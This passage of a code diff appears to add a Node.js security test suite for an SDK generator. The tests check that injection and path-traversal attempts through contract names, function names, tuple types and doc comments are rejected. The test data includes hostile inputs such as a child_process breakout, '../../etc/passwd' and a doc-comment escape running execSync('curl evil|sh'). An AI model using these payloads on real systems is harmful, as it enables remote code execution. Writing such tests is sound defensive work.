assert.ok(factorySrc.includes("safeOverrides"), "factory must use the override allow-list");
|
|
110
|
+
assert.ok(contractSrc.includes("safeOverrides"), "contract must use the override allow-list");
|
|
111
|
+
});
|
|
112
|
+
});
|
|
@@ -0,0 +1,195 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @testCategory security
|
|
3
|
+
* @blockchainRequired false
|
|
4
|
+
* @transactional false
|
|
5
|
+
* @description Code-injection and path-traversal protections in the SDK
|
|
6
|
+
* generator. Attacker-controlled contract/function names (and tuple
|
|
7
|
+
* names derived from internalType) must never break out of the
|
|
8
|
+
* generated source or escape the output directory.
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const { describe, it } = require("node:test");
|
|
12
|
+
const assert = require("node:assert/strict");
|
|
13
|
+
const fs = require("node:fs");
|
|
14
|
+
const os = require("node:os");
|
|
15
|
+
const path = require("node:path");
|
|
16
|
+
|
|
17
|
+
const {
|
|
18
|
+
generate,
|
|
19
|
+
generateFromArtifacts,
|
|
20
|
+
generateTransactionalTestJs,
|
|
21
|
+
assertSafeIdentifier,
|
|
22
|
+
} = require("../../src/generator");
|
|
23
|
+
const { logSuite, logTest } = require("../verbose-logger");
|
|
24
|
+
|
|
25
|
+
function _tmpOut() {
|
|
26
|
+
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-inj-"));
|
|
27
|
+
return path.join(tmp, "out");
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
describe("Security: generator code-injection & path-traversal", () => {
|
|
31
|
+
logSuite("Security: generator code-injection & path-traversal");
|
|
32
|
+
|
|
33
|
+
it("assertSafeIdentifier rejects breakout strings and reserved words", () => {
|
|
34
|
+
logTest("assertSafeIdentifier rejects breakout strings and reserved words", {});
|
|
35
|
+
assert.throws(() => assertSafeIdentifier('Evil"; console.log(1); //', "contract name"));
|
|
36
|
+
assert.throws(() => assertSafeIdentifier("../../etc/passwd", "contract name"));
|
|
37
|
+
assert.throws(() => assertSafeIdentifier("with-dash", "contract name"));
|
|
38
|
+
assert.throws(() => assertSafeIdentifier("__proto__", "contract name"));
|
|
39
|
+
assert.throws(() => assertSafeIdentifier("class", "contract name"));
|
|
40
|
+
assert.throws(() => assertSafeIdentifier("", "contract name"));
|
|
41
|
+
assert.throws(() => assertSafeIdentifier(123, "contract name"));
|
|
42
|
+
// Positive: valid identifiers are returned unchanged.
|
|
43
|
+
assert.equal(assertSafeIdentifier("TestToken", "contract name"), "TestToken");
|
|
44
|
+
assert.equal(assertSafeIdentifier("_balanceOf$2", "fn"), "_balanceOf$2");
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
it("rejects a malicious contractName (negative)", () => {
|
|
48
|
+
logTest("rejects a malicious contractName (negative)", {});
|
|
49
|
+
const abi = [{ type: "function", name: "ok", stateMutability: "view", inputs: [], outputs: [] }];
|
|
50
|
+
assert.throws(
|
|
51
|
+
() =>
|
|
52
|
+
generateFromArtifacts({
|
|
53
|
+
outDir: _tmpOut(),
|
|
54
|
+
lang: "ts",
|
|
55
|
+
artifacts: [{ contractName: 'Evil { static x = require("child_process"); } //', abi, bytecode: "0x00" }],
|
|
56
|
+
}),
|
|
57
|
+
/Unsafe contract name|reserved word/i,
|
|
58
|
+
);
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
it("rejects a path-traversal contractName (negative)", () => {
|
|
62
|
+
logTest("rejects a path-traversal contractName (negative)", {});
|
|
63
|
+
const abi = [{ type: "function", name: "ok", stateMutability: "view", inputs: [], outputs: [] }];
|
|
64
|
+
assert.throws(
|
|
65
|
+
() =>
|
|
66
|
+
generateFromArtifacts({
|
|
67
|
+
outDir: _tmpOut(),
|
|
68
|
+
lang: "ts",
|
|
69
|
+
artifacts: [{ contractName: "../../evil", abi, bytecode: "0x00" }],
|
|
70
|
+
}),
|
|
71
|
+
/Unsafe contract name/i,
|
|
72
|
+
);
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
it("rejects a malicious ABI function name (negative)", () => {
|
|
76
|
+
logTest("rejects a malicious ABI function name (negative)", {});
|
|
77
|
+
const abi = [
|
|
78
|
+
{ type: "function", name: 'foo(){}; const x = 1; bar', stateMutability: "view", inputs: [], outputs: [] },
|
|
79
|
+
];
|
|
80
|
+
assert.throws(
|
|
81
|
+
() =>
|
|
82
|
+
generateFromArtifacts({
|
|
83
|
+
outDir: _tmpOut(),
|
|
84
|
+
lang: "ts",
|
|
85
|
+
artifacts: [{ contractName: "Good", abi, bytecode: "0x00" }],
|
|
86
|
+
}),
|
|
87
|
+
/Unsafe ABI function name/i,
|
|
88
|
+
);
|
|
89
|
+
// Also covered by the transactional-test generator entry point.
|
|
90
|
+
assert.throws(
|
|
91
|
+
() => generateTransactionalTestJs({ contractName: "Good", abi, bytecode: "0x00" }),
|
|
92
|
+
/Unsafe ABI function name/i,
|
|
93
|
+
);
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
it("sanitizes malicious tuple names derived from internalType (negative-input, safe-output)", () => {
|
|
97
|
+
logTest("sanitizes malicious tuple names derived from internalType", {});
|
|
98
|
+
const outDir = _tmpOut();
|
|
99
|
+
const abi = [
|
|
100
|
+
{
|
|
101
|
+
type: "function",
|
|
102
|
+
name: "getStruct",
|
|
103
|
+
stateMutability: "view",
|
|
104
|
+
inputs: [],
|
|
105
|
+
outputs: [
|
|
106
|
+
{
|
|
107
|
+
name: "s",
|
|
108
|
+
type: "tuple",
|
|
109
|
+
internalType: 'struct Evil"]; const pwned = 1; //[',
|
|
110
|
+
components: [{ name: "a", type: "uint256" }],
|
|
111
|
+
},
|
|
112
|
+
],
|
|
113
|
+
},
|
|
114
|
+
];
|
|
115
|
+
const res = generateFromArtifacts({ outDir, lang: "ts", artifacts: [{ contractName: "Holder", abi, bytecode: "0x00" }] });
|
|
116
|
+
const contractSrc = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
117
|
+
// The tuple type name is derived from the attacker-controlled internalType.
|
|
118
|
+
// It MUST be emitted as a valid, sanitized TS identifier (the raw payload may
|
|
119
|
+
// only survive inside the escaped ABI JSON string literal, never as code).
|
|
120
|
+
const typeDecls = [...contractSrc.matchAll(/export type ([^\s=]+)\s*=/g)].map((m) => m[1]);
|
|
121
|
+
assert.ok(typeDecls.length >= 1, "a struct type should be generated");
|
|
122
|
+
for (const id of typeDecls) {
|
|
123
|
+
assert.match(id, /^[A-Za-z_$][A-Za-z0-9_$]*$/, `tuple type identifier must be sanitized: ${id}`);
|
|
124
|
+
}
|
|
125
|
+
});
|
|
126
|
+
|
|
127
|
+
it("neutralizes a NatSpec doc-comment breakout in contract & function docs (negative)", () => {
|
|
128
|
+
logTest("neutralizes a NatSpec doc-comment breakout", {});
|
|
129
|
+
const payload = `Legit text */ require('child_process').execSync('curl evil|sh'); /* keep`;
|
|
130
|
+
const abi = [{ type: "function", name: "transfer", stateMutability: "nonpayable", inputs: [], outputs: [] }];
|
|
131
|
+
const docs = { contract: payload, functions: { transfer: payload } };
|
|
132
|
+
|
|
133
|
+
for (const lang of ["ts", "js"]) {
|
|
134
|
+
const res = generateFromArtifacts({
|
|
135
|
+
outDir: _tmpOut(),
|
|
136
|
+
lang,
|
|
137
|
+
artifacts: [{ contractName: "Doc", abi, bytecode: "0x00", docs }],
|
|
138
|
+
});
|
|
139
|
+
const src = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
140
|
+
// The comment terminator must be neutralized so it cannot close the JSDoc
|
|
141
|
+
// block early; the payload may only survive as inert comment text.
|
|
142
|
+
assert.ok(!src.includes("*/ require"), `[${lang}] doc breakout must be neutralized`);
|
|
143
|
+
assert.ok(src.includes("* /"), `[${lang}] escaped terminator should be present`);
|
|
144
|
+
// Belt-and-suspenders: every '*/' in the file must be a real JSDoc close,
|
|
145
|
+
// i.e. it is the last non-space token on its line (' */').
|
|
146
|
+
for (const line of src.split(/\r?\n/g)) {
|
|
147
|
+
const idx = line.indexOf("*/");
|
|
148
|
+
if (idx !== -1) {
|
|
149
|
+
assert.match(line.trimEnd(), /\*\/$/, `unexpected mid-line */ (possible breakout): ${line}`);
|
|
150
|
+
}
|
|
151
|
+
}
|
|
152
|
+
}
|
|
153
|
+
});
|
|
154
|
+
|
|
155
|
+
it("renders a benign NatSpec doc normally (positive)", () => {
|
|
156
|
+
logTest("renders a benign NatSpec doc normally", {});
|
|
157
|
+
const abi = [{ type: "function", name: "transfer", stateMutability: "nonpayable", inputs: [], outputs: [] }];
|
|
158
|
+
const docs = { contract: "Transfers tokens between accounts.", functions: { transfer: "Moves amount to recipient." } };
|
|
159
|
+
const res = generateFromArtifacts({
|
|
160
|
+
outDir: _tmpOut(),
|
|
161
|
+
lang: "ts",
|
|
162
|
+
artifacts: [{ contractName: "Doc", abi, bytecode: "0x00", docs }],
|
|
163
|
+
});
|
|
164
|
+
const src = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
165
|
+
assert.ok(src.includes("* Transfers tokens between accounts."), "benign contract doc should render");
|
|
166
|
+
assert.ok(src.includes("* Moves amount to recipient."), "benign function doc should render");
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
it("generates valid output and preserves legitimate identifiers (positive)", () => {
|
|
170
|
+
logTest("generates valid output and preserves legitimate identifiers (positive)", {});
|
|
171
|
+
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-ok-"));
|
|
172
|
+
const abiPath = path.join(tmp, "Test.abi.json");
|
|
173
|
+
const binPath = path.join(tmp, "Test.bin");
|
|
174
|
+
const outDir = path.join(tmp, "out");
|
|
175
|
+
const abi = [
|
|
176
|
+
{
|
|
177
|
+
type: "function",
|
|
178
|
+
name: "balanceOf",
|
|
179
|
+
stateMutability: "view",
|
|
180
|
+
inputs: [{ name: "account", type: "address" }],
|
|
181
|
+
outputs: [{ name: "", type: "uint256" }],
|
|
182
|
+
},
|
|
183
|
+
];
|
|
184
|
+
fs.writeFileSync(abiPath, JSON.stringify(abi), "utf8");
|
|
185
|
+
fs.writeFileSync(binPath, "0x6000", "utf8");
|
|
186
|
+
const res = generate({ abiPath, binPath, outDir, contractName: "TestToken" });
|
|
187
|
+
const src = fs.readFileSync(res.contractFile, "utf8");
|
|
188
|
+
assert.ok(src.includes("export class TestToken"));
|
|
189
|
+
assert.ok(src.includes("async balanceOf"));
|
|
190
|
+
// All generated files must live inside outDir (no traversal).
|
|
191
|
+
for (const f of [res.contractFile, res.factoryFile, res.typesFile, res.indexFile]) {
|
|
192
|
+
assert.ok(path.resolve(f).startsWith(path.resolve(outDir)), `${f} must be inside outDir`);
|
|
193
|
+
}
|
|
194
|
+
});
|
|
195
|
+
});
|